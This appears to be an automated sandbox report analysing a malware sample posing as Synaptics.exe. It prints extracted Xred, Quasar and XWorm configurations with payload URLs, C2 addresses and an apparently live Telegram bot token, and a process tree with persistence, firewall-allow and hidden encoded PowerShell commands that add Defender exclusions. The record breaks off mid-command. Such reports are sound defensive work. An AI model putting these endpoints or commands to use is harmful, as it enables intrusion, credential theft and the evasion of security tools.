Resubmissions
18/08/2026, 19:34
260818-x972xsygjb1002/07/2026, 09:19
260702-labnwsfs6z29/05/2026, 16:41
260529-t7a3mabx7l26/05/2026, 03:15
260526-dr1qcadz4y21/05/2026, 18:13
260521-wt38csgz711021/05/2026, 18:04
260521-wnpssagx3s1021/05/2026, 17:59
260521-wkpzdady5j1021/05/2026, 17:58
260521-wj9bmady2k21/05/2026, 17:58
260521-wj5y7sgv4v21/05/2026, 17:57
260521-wj2lsagv3zAnalysis
- geolocation tags
- max time kernel
150s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
21/05/2026, 18:13
General
- Target Synaptics.exe
- Size 764KB
- Sample260521-wt38csgz71
- SHA256 4e5cc8cb98584335400d00f0a0803c3e0202761f3fbe50bcab3858a80df255e1
Malware Config
Extracted
-
xred
-
xred.mooo.com
-
payload_url
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
http://xred.site50.net/syn/SUpdate.ini
https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
http://xred.site50.net/syn/Synaptics.rar
https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
http://xred.site50.net/syn/SSLLibrary.dll
Extracted
-
quasar
-
encryption_key
DAB3121B6A50A539543675F89440074F0318A96D
-
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
-
reconnect_delay
3000
Extracted
-
quasar
-
1.4.1
-
botnet
-
165.227.31.192:22069
-
193.161.193.99:64425
-
193.161.193.99:60470
-
713051d4-4ad4-4ad0-b2ed-4ddd8fe2349d
-
encryption_key
684009117DF150EF232A2EE8AE172085964C1CF0
-
install_name
System.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Office
-
subdirectory
Winrar
Extracted
-
xworm
-
XWorm V6.4 by omniz
-
176.65.139.194:6000
-
Install_directory
%ProgramData%
-
install_file
VAL-VIP.exe
-
telegram
https://api.telegram.org/bot8611050857:AAFOF2HZ4T731Np6V7PhjDP1PpcRHz1RrTM/sendMessage?chat_id=8353594328
Signatures
- Family: Lockbit
Ransomware family with multiple variants released since late 2019.
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Family: Xred
Xred is backdoor written in Delphi.
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 2 IoCs
- Quasar payload 4 IoCs
- Rule to detect Lockbit 3.0 ransomware Windows payload 1 IoCs
- Contacts a large (22667) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 11 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 16 IoCs
- Drops file in Drivers directory 1 IoCs
- Event Triggered Execution: Image File Execution Options Injection 1 TTPs 8 IoCs
- Manipulates Digital Signatures 1 TTPs 4 IoCs
Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.
- Modifies Windows Firewall 2 TTPs 5 IoCs
- Signed with revoked ConnectWise certificate 1 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
- Checks BIOS information in registry 2 TTPs 22 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 10 IoCs
Looks up country code configured in the registry, likely geofence.
- Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
- Drops startup file 4 IoCs
- Executes dropped EXE 60 IoCs
- Loads dropped DLL 64 IoCs
- Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Themida packer 29 IoCs
Detects Themida, an advanced Windows software protection system.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 5 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 10 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 8 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops autorun.inf file 1 TTPs 5 IoCs
Malware can abuse Windows Autorun to spread further via attached volumes.
- Drops file in System32 directory 12 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 32 IoCs
- UPX packed file 57 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 22 IoCs
- Launches sc.exe 6 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Detects Pyinstaller 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 15 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Modifies trusted root certificate store through registry 1 TTPs 1 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
- System Location Discovery: System Language Discovery 1 TTPs 43 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Inno Setup is an open-source installation builder for Windows applications. 6 IoCs
Inno Setup installer
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies Internet Explorer settings 1 TTPs 11 IoCs
- Modifies data under HKEY_USERS 41 IoCs
- Modifies registry class 64 IoCs
- Modifies system certificate store 2 TTPs 22 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 3 IoCs
- Suspicious use of SetWindowsHookEx 16 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\Synaptics.exe"1⤵
- Checks computer location settings
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"2⤵
- Downloads MZ/PE file
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\123.exe"C:\Users\Admin\AppData\Local\Temp\Files\123.exe"3⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "System.exe" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Win2934\HelpWin.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\12.exe"C:\Users\Admin\AppData\Local\Temp\Files\12.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\System.exe"C:\Users\Admin\AppData\Local\Temp\Files\System.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Winrar\System.exe"C:\Users\Admin\AppData\Roaming\Winrar\System.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\VAL-VIP.exe"C:\Users\Admin\AppData\Local\Temp\Files\VAL-VIP.exe"3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "VAL-VIP" /tr "C:\ProgramData\VAL-VIP.exe"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\444.exe"C:\Users\Admin\AppData\Local\Temp\Files\444.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Roaming\conhost.exe"C:\Users\Admin\AppData\Roaming\conhost.exe"4⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Drops autorun.inf file
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\conhost.exe" "conhost.exe" ENABLE5⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\ProgramData\Synaptics\Synaptics.exe"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate2⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate3⤵
- Downloads MZ/PE file
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\TempSpoofer.exe"C:\Users\Admin\AppData\Local\Temp\Files\TempSpoofer.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Meredrop.exe"C:\Users\Admin\AppData\Local\Temp\Files\Meredrop.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\delfino-g3.exe"C:\Users\Admin\AppData\Local\Temp\Files\delfino-g3.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-BOQ7S.tmp\delfino-g3.tmp"C:\Users\Admin\AppData\Local\Temp\is-BOQ7S.tmp\delfino-g3.tmp" /SL5="$602F0,30692187,121344,C:\Users\Admin\AppData\Local\Temp\Files\delfino-g3.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-85J8N.tmp\delfino-g3-setup-x86.exe"C:\Users\Admin\AppData\Local\Temp\is-85J8N.tmp\delfino-g3-setup-x86.exe" /VERYSILENT /NORESTART6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-DKDRJ.tmp\delfino-g3-setup-x86.tmp"C:\Users\Admin\AppData\Local\Temp\is-DKDRJ.tmp\delfino-g3-setup-x86.tmp" /SL5="$601F6,29841725,121344,C:\Users\Admin\AppData\Local\Temp\is-85J8N.tmp\delfino-g3-setup-x86.exe" /VERYSILENT /NORESTART7⤵
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\system32\sc.exe" stop WizveraPMSvc8⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\system32\sc.exe" stop WizveraPMSvc8⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\CheckNetIsolation.exe"CheckNetIsolation" LoopbackExempt -a -n=Microsoft.MicrosoftEdge_8wekyb3d8bbwe8⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\is-H9QSN.tmp\delfinounloader-g3.exe"C:\Users\Admin\AppData\Local\Temp\is-H9QSN.tmp\delfinounloader-g3.exe" /link8⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\is-H9QSN.tmp\wizcertutil.exe"C:\Users\Admin\AppData\Local\Temp\is-H9QSN.tmp\wizcertutil.exe" /force /gencert /target delfino8⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies trusted root certificate store through registry
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
\??\c:\users\admin\appdata\local\temp\is-h9qsn.tmp\nss_new\certutil.exe"c:\users\admin\appdata\local\temp\is-h9qsn.tmp\.\nss_new\certutil.exe" -L -d .\9⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
\??\c:\users\admin\appdata\local\temp\is-h9qsn.tmp\nss_new\certutil.exe"c:\users\admin\appdata\local\temp\is-h9qsn.tmp\.\nss_new\certutil.exe" -L -d sql:.\9⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
\??\c:\users\admin\appdata\local\temp\is-h9qsn.tmp\nss_new\certutil.exe"c:\users\admin\appdata\local\temp\is-h9qsn.tmp\.\nss_new\certutil.exe" -A -n "Delfino-CA" -t "TCu,Cuw,Tuw" -i "C:\ProgramData\Wizvera\Delfino\delfino_ca.crt" -d .\9⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
\??\c:\users\admin\appdata\local\temp\is-h9qsn.tmp\nss_new\certutil.exe"c:\users\admin\appdata\local\temp\is-h9qsn.tmp\.\nss_new\certutil.exe" -A -n "Delfino-CA" -t "TCu,Cuw,Tuw" -i "C:\ProgramData\Wizvera\Delfino\delfino_ca.crt" -d sql:.\9⤵
- Executes dropped EXE
-
-
\??\c:\users\admin\appdata\local\temp\is-h9qsn.tmp\nss_new\certutil.exe"c:\users\admin\appdata\local\temp\is-h9qsn.tmp\.\nss_new\certutil.exe" -L -d .\9⤵
- Executes dropped EXE
-
-
\??\c:\users\admin\appdata\local\temp\is-h9qsn.tmp\nss_new\certutil.exe"c:\users\admin\appdata\local\temp\is-h9qsn.tmp\.\nss_new\certutil.exe" -D -n "Delfino-CA" -d .\9⤵
- Executes dropped EXE
-
-
\??\c:\users\admin\appdata\local\temp\is-h9qsn.tmp\nss_new\certutil.exe"c:\users\admin\appdata\local\temp\is-h9qsn.tmp\.\nss_new\certutil.exe" -L -d sql:.\9⤵
- Executes dropped EXE
-
-
\??\c:\users\admin\appdata\local\temp\is-h9qsn.tmp\nss_new\certutil.exe"c:\users\admin\appdata\local\temp\is-h9qsn.tmp\.\nss_new\certutil.exe" -D -n "Delfino-CA" -d sql:.\9⤵
- Executes dropped EXE
-
-
\??\c:\users\admin\appdata\local\temp\is-h9qsn.tmp\nss_new\certutil.exe"c:\users\admin\appdata\local\temp\is-h9qsn.tmp\.\nss_new\certutil.exe" -A -n "Delfino-CA" -t "TCu,Cuw,Tuw" -i "C:\ProgramData\Wizvera\Delfino\delfino_ca.crt" -d .\9⤵
- Executes dropped EXE
-
-
\??\c:\users\admin\appdata\local\temp\is-h9qsn.tmp\nss_new\certutil.exe"c:\users\admin\appdata\local\temp\is-h9qsn.tmp\.\nss_new\certutil.exe" -A -n "Delfino-CA" -t "TCu,Cuw,Tuw" -i "C:\ProgramData\Wizvera\Delfino\delfino_ca.crt" -d sql:.\9⤵
- Executes dropped EXE
-
-
\??\c:\users\admin\appdata\local\temp\is-h9qsn.tmp\nss_new\certutil.exe"c:\users\admin\appdata\local\temp\is-h9qsn.tmp\.\nss_new\certutil.exe" -L -d .\9⤵
- Executes dropped EXE
-
-
\??\c:\users\admin\appdata\local\temp\is-h9qsn.tmp\nss_new\certutil.exe"c:\users\admin\appdata\local\temp\is-h9qsn.tmp\.\nss_new\certutil.exe" -L -d sql:.\9⤵
- Executes dropped EXE
-
-
\??\c:\users\admin\appdata\local\temp\is-h9qsn.tmp\nss_new\certutil.exe"c:\users\admin\appdata\local\temp\is-h9qsn.tmp\.\nss_new\certutil.exe" -A -n "Delfino-CA" -t "TCu,Cuw,Tuw" -i "C:\ProgramData\Wizvera\Delfino\delfino_ca.crt" -d .\9⤵
- Executes dropped EXE
-
-
\??\c:\users\admin\appdata\local\temp\is-h9qsn.tmp\nss_new\certutil.exe"c:\users\admin\appdata\local\temp\is-h9qsn.tmp\.\nss_new\certutil.exe" -A -n "Delfino-CA" -t "TCu,Cuw,Tuw" -i "C:\ProgramData\Wizvera\Delfino\delfino_ca.crt" -d sql:.\9⤵
- Executes dropped EXE
-
-
-
C:\Program Files (x86)\Wizvera\Delfino-G3\wizveraregsvr.exe"C:\Program Files (x86)\Wizvera\Delfino-G3\wizveraregsvr.exe" delfino.dll8⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\system32\regsvr32" delfino.dll /s8⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\is-H9QSN.tmp\wpmsvcsetup.exe"C:\Users\Admin\AppData\Local\Temp\is-H9QSN.tmp\wpmsvcsetup.exe" /VERYSILENT8⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-N4KMU.tmp\wpmsvcsetup.tmp"C:\Users\Admin\AppData\Local\Temp\is-N4KMU.tmp\wpmsvcsetup.tmp" /SL5="$70362,5451002,118784,C:\Users\Admin\AppData\Local\Temp\is-H9QSN.tmp\wpmsvcsetup.exe" /VERYSILENT9⤵
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\system32\sc.exe" stop WizveraPMSvc10⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Wizvera\Common\wpmsvc\WizSvcUtil.exe"C:\Program Files (x86)\Wizvera\Common\wpmsvc\WizSvcUtil.exe" -fw add10⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall show rule name="Wizvera-Delfino-G3-in" dir=in11⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Wizvera-Delfino-G3-in" dir=in program="C:\Program Files (x86)\Wizvera\Delfino-G3\delfino.exe" action=allow11⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall show rule name="Wizvera-Delfino-G3-out" dir=out11⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Wizvera-Delfino-G3-out" dir=out program="C:\Program Files (x86)\Wizvera\Delfino-G3\delfino.exe" action=allow11⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\system32\sc.exe" config WizveraPMSvc start= auto10⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Wizvera\Common\wpmsvc\wpmsvc.exe"C:\Program Files (x86)\Wizvera\Common\wpmsvc\wpmsvc.exe" /i10⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\system32\sc.exe" start WizveraPMSvc10⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\system32\sc.exe" start WizveraPMSvc8⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Program Files (x86)\wizvera\delfino-g3\delfino.exe"C:\Program Files (x86)\wizvera\delfino-g3\delfino.exe"6⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\builder.exe"C:\Users\Admin\AppData\Local\Temp\Files\builder.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\process-injection.exe"C:\Users\Admin\AppData\Local\Temp\Files\process-injection.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\Files\LicenseMalwareBytes.exe"C:\Users\Admin\AppData\Local\Temp\Files\LicenseMalwareBytes.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Files\LicenseMalwareBytes.exe"C:\Users\Admin\AppData\Local\Temp\Files\LicenseMalwareBytes.exe"5⤵
- Drops file in Drivers directory
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c gpupdate /force6⤵
-
C:\Windows\system32\gpupdate.exegpupdate /force7⤵
-
-
-
-
-
-
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\._cache_Synaptics.exe"C:\Windows\system32\._cache_Synaptics.exe"2⤵
- Downloads MZ/PE file
- Checks computer location settings
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Files\CFXBypass.exe"C:\Windows\System32\Files\CFXBypass.exe"3⤵
- Downloads MZ/PE file
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\eb6f4686-c9a2-47a7-bb52-dcf11c28ae10\background.exe"C:\Users\Admin\AppData\Local\eb6f4686-c9a2-47a7-bb52-dcf11c28ae10\background.exe"4⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAG